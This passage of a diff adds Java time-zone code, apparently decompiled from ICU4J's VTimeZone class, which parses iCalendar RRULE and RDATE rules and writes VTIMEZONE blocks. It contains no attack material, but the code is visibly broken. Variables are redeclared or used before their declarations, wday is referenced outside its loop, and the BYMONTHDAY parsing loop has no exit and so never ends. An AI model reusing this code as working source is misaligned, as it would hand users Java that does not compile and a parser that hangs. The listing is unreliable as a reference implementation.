+          newRule = new TimeArrayTimeZoneRule(finalRule.getName(), finalRule.getRawOffset(), finalRule.getDSTSavings(), new long[] { finalStart.getTime() }, 2);
+
+
+        }
+        else
+        {
+
+
+          int[] fields = Grego.timeToFields(start.getTime(), null);
+          newRule = new AnnualTimeZoneRule(finalRule.getName(), finalRule.getRawOffset(), finalRule.getDSTSavings(), finalRule.getRule(), finalRule.getStartYear(), fields[0]);
+        }
+        
+
+
+
+
+
+        rules.set(finalRuleIdx, newRule);
+      }
+    }
+    
+    for (TimeZoneRule r : rules) {
+      rbtz.addTransitionRule(r);
+    }
+    
+    tz = rbtz;
+    setID(tzid);
+    return true;
+  }
+  
+
+
+  private static String getDefaultTZName(String tzid, boolean isDST)
+  {
+    if (isDST) {
+      return tzid + "(DST)";
+    }
+    return tzid + "(STD)";
+  }
+  
+
+
+
+  private static TimeZoneRule createRuleByRRULE(String tzname, int rawOffset, int dstSavings, long start, List<String> dates, int fromOffset)
+  {
+    if ((dates == null) || (dates.size() == 0)) {
+      return null;
+    }
+    
+    String rrule = (String)dates.get(0);
+    
+    long[] until = new long[1];
+    int[] ruleFields = parseRRULE(rrule, until);
+    if (ruleFields == null)
+    {
+      return null;
+    }
+    
+    int month = ruleFields[0];
+    int dayOfWeek = ruleFields[1];
+    int nthDayOfWeek = ruleFields[2];
+    int dayOfMonth = ruleFields[3];
+    
+    if (dates.size() == 1)
+    {
+      if (ruleFields.length > 4)
+      {
+
+        if ((ruleFields.length != 10) || (month == -1) || (dayOfWeek == 0))
+        {
+
+          return null;
+        }
+        int firstDay = 31;
+        int[] days = new int[7];
+        for (int i = 0; i < 7; i++) {
+          days[i] = ruleFields[(3 + i)];
+          
+
+
+          days[i] = (days[i] > 0 ? days[i] : MONTHLENGTH[month] + days[i] + 1);
+          firstDay = days[i] < firstDay ? days[i] : firstDay;
+        }
+        
+        for (int i = 1; i < 7; i++) {
+          boolean found = false;
+          for (int j = 0; j < 7; j++) {
+            if (days[j] == firstDay + i) {
+              found = true;
+              break;
+            }
+          }
+          if (!found)
+          {
+            return null;
+          }
+        }
+        
+        dayOfMonth = firstDay;
+      }
+    }
+    else
+    {
+      if ((month == -1) || (dayOfWeek == 0) || (dayOfMonth == 0))
+      {
+        return null;
+      }
+      
+
+      if (dates.size() > 7) {
+        return null;
+      }
+      
+
+
+
+
+      int earliestMonth = month;
+      int daysCount = ruleFields.length - 3;
+      int earliestDay = 31;
+      for (int i = 0; i < daysCount; i++) {
+        int dom = ruleFields[(3 + i)];
+        dom = dom > 0 ? dom : MONTHLENGTH[month] + dom + 1;
+        earliestDay = dom < earliestDay ? dom : earliestDay;
+      }
+      
+      int anotherMonth = -1;
+      for (int i = 1; i < dates.size(); i++) {
+        rrule = (String)dates.get(i);
+        long[] unt = new long[1];
+        int[] fields = parseRRULE(rrule, unt);
+        
+
+        if (unt[0] > until[0]) {
+          until = unt;
+        }
+        
+
+        if ((fields[0] == -1) || (fields[1] == 0) || (fields[3] == 0)) {
+          return null;
+        }
+        
+        int count = fields.length - 3;
+        if (daysCount + count > 7)
+        {
+          return null;
+        }
+        
+
+        if (fields[1] != dayOfWeek) {
+          return null;
+        }
+        
+        if (fields[0] != month) {
+          if (anotherMonth == -1) {
+            int diff = fields[0] - month;
+            if ((diff == -11) || (diff == -1))
+            {
+              anotherMonth = fields[0];
+              earliestMonth = anotherMonth;
+              
+              earliestDay = 31;
+            } else if ((diff == 11) || (diff == 1))
+            {
+              anotherMonth = fields[0];
+            }
+            else {
+              return null;
+            }
+          } else if ((fields[0] != month) && (fields[0] != anotherMonth))
+          {
+            return null;
+          }
+        }
+        
+        if (fields[0] == earliestMonth) {
+          for (int j = 0; j < count; j++) {
+            int dom = fields[(3 + j)];
+            dom = dom > 0 ? dom : MONTHLENGTH[fields[0]] + dom + 1;
+            earliestDay = dom < earliestDay ? dom : earliestDay;
+          }
+        }
+        daysCount += count;
+      }
+      if (daysCount != 7)
+      {
+        return null;
+      }
+      month = earliestMonth;
+      dayOfMonth = earliestDay;
+    }
+    
+
+    int[] dfields = Grego.timeToFields(start + fromOffset, null);
+    int startYear = dfields[0];
+    if (month == -1)
+    {
+      month = dfields[1];
+    }
+    if ((dayOfWeek == 0) && (nthDayOfWeek == 0) && (dayOfMonth == 0))
+    {
+      dayOfMonth = dfields[2];
+    }
+    int timeInDay = dfields[5];
+    
+    int endYear = Integer.MAX_VALUE;
+    if (until[0] != Long.MIN_VALUE) {
+      Grego.timeToFields(until[0], dfields);
+      endYear = dfields[0];
+    }
+    
+
+    DateTimeRule adtr = null;
+    if ((dayOfWeek == 0) && (nthDayOfWeek == 0) && (dayOfMonth != 0))
+    {
+      adtr = new DateTimeRule(month, dayOfMonth, timeInDay, 0);
+    } else if ((dayOfWeek != 0) && (nthDayOfWeek != 0) && (dayOfMonth == 0))
+    {
+      adtr = new DateTimeRule(month, nthDayOfWeek, dayOfWeek, timeInDay, 0);
+    } else if ((dayOfWeek != 0) && (nthDayOfWeek == 0) && (dayOfMonth != 0))
+    {
+
+      adtr = new DateTimeRule(month, dayOfMonth, dayOfWeek, true, timeInDay, 0);
+    }
+    else {
+      return null;
+    }
+    
+    return new AnnualTimeZoneRule(tzname, rawOffset, dstSavings, adtr, startYear, endYear);
+  }
+  
+
+
+
+
+
+  private static final int TZI = 2;
+  
+
+
+
+
+  private static final int ERR = 3;
+  
+
+
+
+  private static int[] parseRRULE(String rrule, long[] until)
+  {
+    int month = -1;
+    int dayOfWeek = 0;
+    int nthDayOfWeek = 0;
+    int[] dayOfMonth = null;
+    
+    long untilTime = Long.MIN_VALUE;
+    boolean yearly = false;
+    boolean parseError = false;
+    StringTokenizer st = new StringTokenizer(rrule, ";");
+    
+    while (st.hasMoreTokens())
+    {
+      String prop = st.nextToken();
+      int sep = prop.indexOf("=");
+      String value; if (sep != -1) {
+        String attr = prop.substring(0, sep);
+        value = prop.substring(sep + 1);
+      } else {
+        parseError = true;
+        break; }
+      String value;
+      String attr;
+      if (attr.equals("FREQ"))
+      {
+        if (value.equals("YEARLY")) {
+          yearly = true;
+        } else {
+          parseError = true;
+          break;
+        }
+      } else if (attr.equals("UNTIL"))
+      {
+        try {
+          untilTime = parseDateTimeString(value, 0);
+        } catch (IllegalArgumentException iae) {
+          parseError = true;
+          break;
+        }
+      } else { if (attr.equals("BYMONTH"))
+        {
+
+          if (value.length() > 2) {
+            parseError = true;
+            break;
+          }
+          try {
+            month = Integer.parseInt(value) - 1;
+            if ((month < 0) || (month >= 12)) {
+              parseError = true;
+              break;
+            }
+          } catch (NumberFormatException nfe) {
+            parseError = true;
+            break;
+          } }
+        if (attr.equals("BYDAY"))
+        {
+
+
+
+
+          int length = value.length();
+          if ((length < 2) || (length > 4)) {
+            parseError = true;
+            break;
+          }
+          if (length > 2)
+          {
+            int sign = 1;
+            if (value.charAt(0) == '+') {
+              sign = 1;
+            } else if (value.charAt(0) == '-') {
+              sign = -1;
+            } else if (length == 4) {
+              parseError = true;
+              break;
+            }
+            try {
+              int n = Integer.parseInt(value.substring(length - 3, length - 2));
+              if ((n == 0) || (n > 4)) {
+                parseError = true;
+                break;
+              }
+              nthDayOfWeek = n * sign;
+            } catch (NumberFormatException nfe) {
+              parseError = true;
+              break;
+            }
+            value = value.substring(length - 2);
+          }
+          
+          for (int wday = 0; wday < ICAL_DOW_NAMES.length; wday++) {
+            if (value.equals(ICAL_DOW_NAMES[wday])) {
+              break;
+            }
+          }
+          if (wday < ICAL_DOW_NAMES.length)
+          {
+            dayOfWeek = wday + 1;
+          } else {
+            parseError = true;
+            break;
+          }
+        } else if (attr.equals("BYMONTHDAY"))
+        {
+
+
+
+          StringTokenizer days = new StringTokenizer(value, ",");
+          int count = days.countTokens();
+          dayOfMonth = new int[count];
+          int index = 0;
+          for (;;) { if (days.hasMoreTokens()) {
+              try {
+                dayOfMonth[(index++)] = Integer.parseInt(days.nextToken());
+              } catch (NumberFormatException nfe) {
+                parseError = true;
+              }
+            }
+          }
+        }
+      }
+    }
+    if (parseError) {
+      return null;
+    }
+    if (!yearly)
+    {
+      return null;
+    }
+    
+    until[0] = untilTime;
+    
+    int[] results;
+    if (dayOfMonth == null) {
+      int[] results = new int[4];
+      results[3] = 0;
+    } else {
+      results = new int[3 + dayOfMonth.length];
+      for (int i = 0; i < dayOfMonth.length; i++) {
+        results[(3 + i)] = dayOfMonth[i];
+      }
+    }
+    results[0] = month;
+    results[1] = dayOfWeek;
+    results[2] = nthDayOfWeek;
+    return results;
+  }
+  
+
+
+  private static TimeZoneRule createRuleByRDATE(String tzname, int rawOffset, int dstSavings, long start, List<String> dates, int fromOffset)
+  {
+    long[] times;
+    
+
+    if ((dates == null) || (dates.size() == 0))
+    {
+
+      long[] times = new long[1];
+      times[0] = start;
+    } else {
+      times = new long[dates.size()];
+      int idx = 0;
+      try {
+        for (String date : dates) {
+          times[(idx++)] = parseDateTimeString(date, fromOffset);
+        }
+      } catch (IllegalArgumentException iae) {
+        return null;
+      }
+    }
+    return new TimeArrayTimeZoneRule(tzname, rawOffset, dstSavings, times, 2);
+  }
+  
+
+
+  private void writeZone(Writer w, BasicTimeZone basictz, String[] customProperties)
+    throws IOException
+  {
+    writeHeader(w);
+    
+    if ((customProperties != null) && (customProperties.length > 0)) {
+      for (int i = 0; i < customProperties.length; i++) {
+        if (customProperties[i] != null) {
+          w.write(customProperties[i]);
+          w.write("\r\n");
+        }
+      }
+    }
+    
+    long t = Long.MIN_VALUE;
+    String dstName = null;
+    int dstFromOffset = 0;
+    int dstFromDSTSavings = 0;
+    int dstToOffset = 0;
+    int dstStartYear = 0;
+    int dstMonth = 0;
+    int dstDayOfWeek = 0;
+    int dstWeekInMonth = 0;
+    int dstMillisInDay = 0;
+    long dstStartTime = 0L;
+    long dstUntilTime = 0L;
+    int dstCount = 0;
+    AnnualTimeZoneRule finalDstRule = null;
+    
+    String stdName = null;
+    int stdFromOffset = 0;
+    int stdFromDSTSavings = 0;
+    int stdToOffset = 0;
+    int stdStartYear = 0;
+    int stdMonth = 0;
+    int stdDayOfWeek = 0;
+    int stdWeekInMonth = 0;
+    int stdMillisInDay = 0;
+    long stdStartTime = 0L;
+    long stdUntilTime = 0L;
+    int stdCount = 0;
+    AnnualTimeZoneRule finalStdRule = null;
+    
+    int[] dtfields = new int[6];
+    boolean hasTransitions = false;
+    
+    for (;;)
+    {
+      TimeZoneTransition tzt = basictz.getNextTransition(t, false);
+      if (tzt == null) {
+        break;
+      }
+      hasTransitions = true;
+      t = tzt.getTime();
+      String name = tzt.getTo().getName();
+      boolean isDst = tzt.getTo().getDSTSavings() != 0;
+      int fromOffset = tzt.getFrom().getRawOffset() + tzt.getFrom().getDSTSavings();
+      int fromDSTSavings = tzt.getFrom().getDSTSavings();
+      int toOffset = tzt.getTo().getRawOffset() + tzt.getTo().getDSTSavings();
+      Grego.timeToFields(tzt.getTime() + fromOffset, dtfields);
+      int weekInMonth = Grego.getDayOfWeekInMonth(dtfields[0], dtfields[1], dtfields[2]);
+      int year = dtfields[0];
+      boolean sameRule = false;
+      if (isDst) {
+        if ((finalDstRule == null) && ((tzt.getTo() instanceof AnnualTimeZoneRule)) && 
+          (((AnnualTimeZoneRule)tzt.getTo()).getEndYear() == Integer.MAX_VALUE)) {
+          finalDstRule = (AnnualTimeZoneRule)tzt.getTo();
+        }
+        
+        if (dstCount > 0) {
+          if ((year == dstStartYear + dstCount) && (name.equals(dstName)) && (dstFromOffset == fromOffset) && (dstToOffset == toOffset) && (dstMonth == dtfields[1]) && (dstDayOfWeek == dtfields[3]) && (dstWeekInMonth == weekInMonth) && (dstMillisInDay == dtfields[5]))
+          {
+
+
+
+
+
+
+
+            dstUntilTime = t;
+            dstCount++;
+            sameRule = true;
+          }
+          if (!sameRule) {
+            if (dstCount == 1) {
+              writeZonePropsByTime(w, true, dstName, dstFromOffset, dstToOffset, dstStartTime, true);
+            }
+            else {
+              writeZonePropsByDOW(w, true, dstName, dstFromOffset, dstToOffset, dstMonth, dstWeekInMonth, dstDayOfWeek, dstStartTime, dstUntilTime);
+            }
+          }
+        }
+        
+        if (!sameRule)
+        {
+          dstName = name;
+          dstFromOffset = fromOffset;
+          dstFromDSTSavings = fromDSTSavings;
+          dstToOffset = toOffset;
+          dstStartYear = year;
+          dstMonth = dtfields[1];
+          dstDayOfWeek = dtfields[3];
+          dstWeekInMonth = weekInMonth;
+          dstMillisInDay = dtfields[5];
+          dstStartTime = dstUntilTime = t;
+          dstCount = 1;
+        }
+        if ((finalStdRule != null) && (finalDstRule != null)) {
+          break;
+        }
+      } else {
+        if ((finalStdRule == null) && ((tzt.getTo() instanceof AnnualTimeZoneRule)) && 
+          (((AnnualTimeZoneRule)tzt.getTo()).getEndYear() == Integer.MAX_VALUE)) {
+          finalStdRule = (AnnualTimeZoneRule)tzt.getTo();
+        }
+        
+        if (stdCount > 0) {
+          if ((year == stdStartYear + stdCount) && (name.equals(stdName)) && (stdFromOffset == fromOffset) && (stdToOffset == toOffset) && (stdMonth == dtfields[1]) && (stdDayOfWeek == dtfields[3]) && (stdWeekInMonth == weekInMonth) && (stdMillisInDay == dtfields[5]))
+          {
+
+
+
+
+
+
+
+            stdUntilTime = t;
+            stdCount++;
+            sameRule = true;
+          }
+          if (!sameRule) {
+            if (stdCount == 1) {
+              writeZonePropsByTime(w, false, stdName, stdFromOffset, stdToOffset, stdStartTime, true);
+            }
+            else {
+              writeZonePropsByDOW(w, false, stdName, stdFromOffset, stdToOffset, stdMonth, stdWeekInMonth, stdDayOfWeek, stdStartTime, stdUntilTime);
+            }
+          }
+        }
+        
+        if (!sameRule)
+        {
+          stdName = name;
+          stdFromOffset = fromOffset;
+          stdFromDSTSavings = fromDSTSavings;
+          stdToOffset = toOffset;
+          stdStartYear = year;
+          stdMonth = dtfields[1];
+          stdDayOfWeek = dtfields[3];
+          stdWeekInMonth = weekInMonth;
+          stdMillisInDay = dtfields[5];
+          stdStartTime = stdUntilTime = t;
+          stdCount = 1;
+        }
+        if ((finalStdRule != null) && (finalDstRule != null)) {
+          break;
+        }
+      }
+    }
+    if (!hasTransitions)
+    {
+      int offset = basictz.getOffset(0L);
+      boolean isDst = offset != basictz.getRawOffset();
+      writeZonePropsByTime(w, isDst, getDefaultTZName(basictz.getID(), isDst), offset, offset, 0L - offset, false);
+    }
+    else {
+      if (dstCount > 0) {
+        if (finalDstRule == null) {
+          if (dstCount == 1) {
+            writeZonePropsByTime(w, true, dstName, dstFromOffset, dstToOffset, dstStartTime, true);
+          }
+          else {
+            writeZonePropsByDOW(w, true, dstName, dstFromOffset, dstToOffset, dstMonth, dstWeekInMonth, dstDayOfWeek, dstStartTime, dstUntilTime);
+          }
+          
+        }
+        else if (dstCount == 1) {
+          writeFinalRule(w, true, finalDstRule, dstFromOffset - dstFromDSTSavings, dstFromDSTSavings, dstStartTime);
+
+
+        }
+        else if (isEquivalentDateRule(dstMonth, dstWeekInMonth, dstDayOfWeek, finalDstRule.getRule())) {
+          writeZonePropsByDOW(w, true, dstName, dstFromOffset, dstToOffset, dstMonth, dstWeekInMonth, dstDayOfWeek, dstStartTime, Long.MAX_VALUE);
+        }
+        else
+        {
+          writeZonePropsByDOW(w, true, dstName, dstFromOffset, dstToOffset, dstMonth, dstWeekInMonth, dstDayOfWeek, dstStartTime, dstUntilTime);
+          
+          writeFinalRule(w, true, finalDstRule, dstFromOffset - dstFromDSTSavings, dstFromDSTSavings, dstStartTime);
+        }
+      }
+      
+
+
+      if (stdCount > 0) {
+        if (finalStdRule == null) {
+          if (stdCount == 1) {
+            writeZonePropsByTime(w, false, stdName, stdFromOffset, stdToOffset, stdStartTime, true);
+          }
+          else {
+            writeZonePropsByDOW(w, false, stdName, stdFromOffset, stdToOffset, stdMonth, stdWeekInMonth, stdDayOfWeek, stdStartTime, stdUntilTime);
+          }
+          
+        }
+        else if (stdCount == 1) {
+          writeFinalRule(w, false, finalStdRule, stdFromOffset - stdFromDSTSavings, stdFromDSTSavings, stdStartTime);
+
+
+        }
+        else if (isEquivalentDateRule(stdMonth, stdWeekInMonth, stdDayOfWeek, finalStdRule.getRule())) {
+          writeZonePropsByDOW(w, false, stdName, stdFromOffset, stdToOffset, stdMonth, stdWeekInMonth, stdDayOfWeek, stdStartTime, Long.MAX_VALUE);
+        }
+        else
+        {
+          writeZonePropsByDOW(w, false, stdName, stdFromOffset, stdToOffset, stdMonth, stdWeekInMonth, stdDayOfWeek, stdStartTime, stdUntilTime);
+          
+          writeFinalRule(w, false, finalStdRule, stdFromOffset - stdFromDSTSavings, stdFromDSTSavings, stdStartTime);
+        }
+      }
+    }
+    
+
+
+    writeFooter(w);
+  }
+  
+
+
+
+  private static boolean isEquivalentDateRule(int month, int weekInMonth, int dayOfWeek, DateTimeRule dtrule)
+  {
+    if ((month != dtrule.getRuleMonth()) || (dayOfWeek != dtrule.getRuleDayOfWeek())) {
+      return false;
+    }
+    if (dtrule.getTimeRuleType() != 0)
+    {
+      return false;
+    }
+    if ((dtrule.getDateRuleType() == 1) && (dtrule.getRuleWeekInMonth() == weekInMonth))
+    {
+      return true;
+    }
+    int ruleDOM = dtrule.getRuleDayOfMonth();
+    if (dtrule.getDateRuleType() == 2) {
+      if ((ruleDOM % 7 == 1) && ((ruleDOM + 6) / 7 == weekInMonth)) {
+        return true;
+      }
+      if ((month != 1) && ((MONTHLENGTH[month] - ruleDOM) % 7 == 6) && (weekInMonth == -1 * ((MONTHLENGTH[month] - ruleDOM + 1) / 7)))
+      {
+        return true;
+      }
+    }
+    if (dtrule.getDateRuleType() == 3) {
+      if ((ruleDOM % 7 == 0) && (ruleDOM / 7 == weekInMonth)) {
+        return true;
+      }
+      if ((month != 1) && ((MONTHLENGTH[month] - ruleDOM) % 7 == 0) && (weekInMonth == -1 * ((MONTHLENGTH[month] - ruleDOM) / 7 + 1)))
+      {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+  private static void writeZonePropsByTime(Writer writer, boolean isDst, String tzname, int fromOffset, int toOffset, long time, boolean withRDATE)
+    throws IOException
+  {
+    beginZoneProps(writer, isDst, tzname, fromOffset, toOffset, time);
+    if (withRDATE) {
+      writer.write("RDATE");
+      writer.write(":");
+      writer.write(getDateTimeString(time + fromOffset));
+      writer.write("\r\n");
+    }
+    endZoneProps(writer, isDst);
+  }
+  
+
+
+  private static void writeZonePropsByDOM(Writer writer, boolean isDst, String tzname, int fromOffset, int toOffset, int month, int dayOfMonth, long startTime, long untilTime)
+    throws IOException
+  {
+    beginZoneProps(writer, isDst, tzname, fromOffset, toOffset, startTime);
+    
+    beginRRULE(writer, month);
+    writer.write("BYMONTHDAY");
+    writer.write("=");
+    writer.write(Integer.toString(dayOfMonth));
+    
+    if (untilTime != Long.MAX_VALUE) {
+      appendUNTIL(writer, getDateTimeString(untilTime + fromOffset));
+    }
+    writer.write("\r\n");
+    
+    endZoneProps(writer, isDst);
+  }
+  
+
+
+  private static void writeZonePropsByDOW(Writer writer, boolean isDst, String tzname, int fromOffset, int toOffset, int month, int weekInMonth, int dayOfWeek, long startTime, long untilTime)
+    throws IOException
+  {
+    beginZoneProps(writer, isDst, tzname, fromOffset, toOffset, startTime);
+    
+    beginRRULE(writer, month);
+    writer.write("BYDAY");
+    writer.write("=");
+    writer.write(Integer.toString(weekInMonth));
+    writer.write(ICAL_DOW_NAMES[(dayOfWeek - 1)]);
+    
+    if (untilTime != Long.MAX_VALUE) {
+      appendUNTIL(writer, getDateTimeString(untilTime + fromOffset));
+    }
+    writer.write("\r\n");
+    
+    endZoneProps(writer, isDst);
+  }
+  
+
+
+
+  private static void writeZonePropsByDOW_GEQ_DOM(Writer writer, boolean isDst, String tzname, int fromOffset, int toOffset, int month, int dayOfMonth, int dayOfWeek, long startTime, long untilTime)
+    throws IOException
+  {
+    if (dayOfMonth % 7 == 1)
+    {
+      writeZonePropsByDOW(writer, isDst, tzname, fromOffset, toOffset, month, (dayOfMonth + 6) / 7, dayOfWeek, startTime, untilTime);
+    }
+    else if ((month != 1) && ((MONTHLENGTH[month] - dayOfMonth) % 7 == 6))
+    {
+      writeZonePropsByDOW(writer, isDst, tzname, fromOffset, toOffset, month, -1 * ((MONTHLENGTH[month] - dayOfMonth + 1) / 7), dayOfWeek, startTime, untilTime);
+    }
+    else
+    {
+      beginZoneProps(writer, isDst, tzname, fromOffset, toOffset, startTime);
+      
+
+      int startDay = dayOfMonth;
+      int currentMonthDays = 7;
+      
+      if (dayOfMonth <= 0)
+      {
+        int prevMonthDays = 1 - dayOfMonth;
+        currentMonthDays -= prevMonthDays;
+        
+        int prevMonth = month - 1 < 0 ? 11 : month - 1;
+        
+
+
+
+        writeZonePropsByDOW_GEQ_DOM_sub(writer, prevMonth, -prevMonthDays, dayOfWeek, prevMonthDays, Long.MAX_VALUE, fromOffset);
+        
+
+        startDay = 1;
+      } else if (dayOfMonth + 6 > MONTHLENGTH[month])
+      {
+
+        int nextMonthDays = dayOfMonth + 6 - MONTHLENGTH[month];
+        currentMonthDays -= nextMonthDays;
+        
+        int nextMonth = month + 1 > 11 ? 0 : month + 1;
+        
+        writeZonePropsByDOW_GEQ_DOM_sub(writer, nextMonth, 1, dayOfWeek, nextMonthDays, Long.MAX_VALUE, fromOffset);
+      }
+      writeZonePropsByDOW_GEQ_DOM_sub(writer, month, startDay, dayOfWeek, currentMonthDays, untilTime, fromOffset);
+      endZoneProps(writer, isDst);
+    }
+  }
+  
+
+
+
+  private static void writeZonePropsByDOW_GEQ_DOM_sub(Writer writer, int month, int dayOfMonth, int dayOfWeek, int numDays, long untilTime, int fromOffset)
+    throws IOException
+  {
+    int startDayNum = dayOfMonth;
+    boolean isFeb = month == 1;
+    if ((dayOfMonth < 0) && (!isFeb))
+    {
+      startDayNum = MONTHLENGTH[month] + dayOfMonth + 1;
+    }
+    beginRRULE(writer, month);
+    writer.write("BYDAY");
+    writer.write("=");
+    writer.write(ICAL_DOW_NAMES[(dayOfWeek - 1)]);
+    writer.write(";");
+    writer.write("BYMONTHDAY");
+    writer.write("=");
+    
+    writer.write(Integer.toString(startDayNum));
+    for (int i = 1; i < numDays; i++) {
+      writer.write(",");
+      writer.write(Integer.toString(startDayNum + i));
+    }
+    
+    if (untilTime != Long.MAX_VALUE) {
+      appendUNTIL(writer, getDateTimeString(untilTime + fromOffset));
+    }
+    writer.write("\r\n");
+  }
+  
+
+
+
+  private static void writeZonePropsByDOW_LEQ_DOM(Writer writer, boolean isDst, String tzname, int fromOffset, int toOffset, int month, int dayOfMonth, int dayOfWeek, long startTime, long untilTime)
+    throws IOException
+  {
+    if (dayOfMonth % 7 == 0)
+    {
+      writeZonePropsByDOW(writer, isDst, tzname, fromOffset, toOffset, month, dayOfMonth / 7, dayOfWeek, startTime, untilTime);
+    }
+    else if ((month != 1) && ((MONTHLENGTH[month] - dayOfMonth) % 7 == 0))
+    {
+      writeZonePropsByDOW(writer, isDst, tzname, fromOffset, toOffset, month, -1 * ((MONTHLENGTH[month] - dayOfMonth) / 7 + 1), dayOfWeek, startTime, untilTime);
+    }
+    else if ((month == 1) && (dayOfMonth == 29))
+    {
+      writeZonePropsByDOW(writer, isDst, tzname, fromOffset, toOffset, 1, -1, dayOfWeek, startTime, untilTime);
+    }
+    else
+    {
+      writeZonePropsByDOW_GEQ_DOM(writer, isDst, tzname, fromOffset, toOffset, month, dayOfMonth - 6, dayOfWeek, startTime, untilTime);
+    }
+  }
+  
+
+
+
+  private static void writeFinalRule(Writer writer, boolean isDst, AnnualTimeZoneRule rule, int fromRawOffset, int fromDSTSavings, long startTime)
+    throws IOException
+  {
+    DateTimeRule dtrule = toWallTimeRule(rule.getRule(), fromRawOffset, fromDSTSavings);
+    
+
+
+
+
+    int timeInDay = dtrule.getRuleMillisInDay();
+    if (timeInDay < 0) {
+      startTime += 0 - timeInDay;
+    } else if (timeInDay >= 86400000) {
+      startTime -= timeInDay - 86399999;
+    }
+    
+    int toOffset = rule.getRawOffset() + rule.getDSTSavings();
+    switch (dtrule.getDateRuleType()) {
+    case 0: 
+      writeZonePropsByDOM(writer, isDst, rule.getName(), fromRawOffset + fromDSTSavings, toOffset, dtrule.getRuleMonth(), dtrule.getRuleDayOfMonth(), startTime, Long.MAX_VALUE);
+      
+      break;
+    case 1: 
+      writeZonePropsByDOW(writer, isDst, rule.getName(), fromRawOffset + fromDSTSavings, toOffset, dtrule.getRuleMonth(), dtrule.getRuleWeekInMonth(), dtrule.getRuleDayOfWeek(), startTime, Long.MAX_VALUE);
+      
+      break;
+    case 2: 
+      writeZonePropsByDOW_GEQ_DOM(writer, isDst, rule.getName(), fromRawOffset + fromDSTSavings, toOffset, dtrule.getRuleMonth(), dtrule.getRuleDayOfMonth(), dtrule.getRuleDayOfWeek(), startTime, Long.MAX_VALUE);
+      
+      break;
+    case 3: 
+      writeZonePropsByDOW_LEQ_DOM(writer, isDst, rule.getName(), fromRawOffset + fromDSTSavings, toOffset, dtrule.getRuleMonth(), dtrule.getRuleDayOfMonth(), dtrule.getRuleDayOfWeek(), startTime, Long.MAX_VALUE);
+    }
+    
+  }
+  
+
+
+
+  private static DateTimeRule toWallTimeRule(DateTimeRule rule, int rawOffset, int dstSavings)
+  {
+    if (rule.getTimeRuleType() == 0) {
+      return rule;
+    }
+    int wallt = rule.getRuleMillisInDay();
+    if (rule.getTimeRuleType() == 2) {
+      wallt += rawOffset + dstSavings;
+    } else if (rule.getTimeRuleType() == 1) {
+      wallt += dstSavings;
+    }
+    
+    int month = -1;int dom = 0;int dow = 0;int dtype = -1;
+    int dshift = 0;
+    if (wallt < 0) {
+      dshift = -1;
+      wallt += 86400000;
+    } else if (wallt >= 86400000) {
+      dshift = 1;
+      wallt -= 86400000;
+    }
+    
+    month = rule.getRuleMonth();
+    dom = rule.getRuleDayOfMonth();
+    dow = rule.getRuleDayOfWeek();
+    dtype = rule.getDateRuleType();
+    
+    if (dshift != 0) {
+      if (dtype == 1)
+      {
+        int wim = rule.getRuleWeekInMonth();
+        if (wim > 0) {
+          dtype = 2;
+          dom = 7 * (wim - 1) + 1;
+        } else {
+          dtype = 3;
+          dom = MONTHLENGTH[month] + 7 * (wim + 1);
+        }
+      }
+      
+
+      dom += dshift;
+      if (dom == 0) {
+        month--;
+        month = month < 0 ? 11 : month;
+        dom = MONTHLENGTH[month];
+      } else if (dom > MONTHLENGTH[month]) {
+        month++;
+        month = month > 11 ? 0 : month;
+        dom = 1;
+      }
+      if (dtype != 0)
+      {
+        dow += dshift;
+        if (dow < 1) {
+          dow = 7;
+        } else if (dow > 7) {
+          dow = 1;
+        }
+      }
+    }
+    DateTimeRule modifiedRule;
+    DateTimeRule modifiedRule;
+    if (dtype == 0) {
+      modifiedRule = new DateTimeRule(month, dom, wallt, 0);
+    } else {
+      modifiedRule = new DateTimeRule(month, dom, dow, dtype == 2, wallt, 0);
+    }
+    
+    return modifiedRule;
+  }
+  
+
+  private static void beginZoneProps(Writer writer, boolean isDst, String tzname, int fromOffset, int toOffset, long startTime)
+    throws IOException
+  {
+    writer.write("BEGIN");
+    writer.write(":");
+    if (isDst) {
+      writer.write("DAYLIGHT");
+    } else {
+      writer.write("STANDARD");
+    }
+    writer.write("\r\n");
+    
+
+    writer.write("TZOFFSETTO");
+    writer.write(":");
+    writer.write(millisToOffset(toOffset));
+    writer.write("\r\n");
+    
+
+    writer.write("TZOFFSETFROM");
+    writer.write(":");
+    writer.write(millisToOffset(fromOffset));
+    writer.write("\r\n");
+    
+
+    writer.write("TZNAME");
+    writer.write(":");
+    writer.write(tzname);
+    writer.write("\r\n");
+    
+
+    writer.write("DTSTART");
+    writer.write(":");
+    writer.write(getDateTimeString(startTime + fromOffset));
+    writer.write("\r\n");
+  }
+  
+
+
+  private static void endZoneProps(Writer writer, boolean isDst)
+    throws IOException
+  {
+    writer.write("END");
+    writer.write(":");
+    if (isDst) {
+      writer.write("DAYLIGHT");
+    } else {
+      writer.write("STANDARD");
+    }
+    writer.write("\r\n");
+  }
+  
+
+  private static void beginRRULE(Writer writer, int month)
+    throws IOException
+  {
+    writer.write("RRULE");
+    writer.write(":");
+    writer.write("FREQ");
+    writer.write("=");
+    writer.write("YEARLY");
+    writer.write(";");
+    writer.write("BYMONTH");
+    writer.write("=");
+    writer.write(Integer.toString(month + 1));
+    writer.write(";");
+  }
+  
+
+  private static void appendUNTIL(Writer writer, String until)
+    throws IOException
+  {
+    if (until != null) {
+      writer.write(";");
+      writer.write("UNTIL");
+      writer.write("=");
+      writer.write(until);
+    }
+  }
+  
+
+  private void writeHeader(Writer writer)
+    throws IOException
+  {
+    writer.write("BEGIN");
+    writer.write(":");
+    writer.write("VTIMEZONE");
+    writer.write("\r\n");
+    writer.write("TZID");
+    writer.write(":");
+    writer.write(tz.getID());
+    writer.write("\r\n");
+    if (tzurl != null) {
+      writer.write("TZURL");
+      writer.write(":");
+      writer.write(tzurl);
+      writer.write("\r\n");
+    }
+    if (lastmod != null) {
+      writer.write("LAST-MODIFIED");
+      writer.write(":");
+      writer.write(getUTCDateTimeString(lastmod.getTime()));
+      writer.write("\r\n");
+    }
+  }
+  
+
+  private static void writeFooter(Writer writer)
+    throws IOException
+  {
+    writer.write("END");
+    writer.write(":");
+    writer.write("VTIMEZONE");
+    writer.write("\r\n");
+  }
+  
+
+
+  private static String getDateTimeString(long time)
+  {
+    int[] fields = Grego.timeToFields(time, null);
+    StringBuilder sb = new StringBuilder(15);
+    sb.append(numToString(fields[0], 4));
+    sb.append(numToString(fields[1] + 1, 2));
+    sb.append(numToString(fields[2], 2));
+    sb.append('T');
+    
+    int t = fields[5];
+    int hour = t / 3600000;
+    t %= 3600000;
+    int min = t / 60000;
+    t %= 60000;
+    int sec = t / 1000;
+    
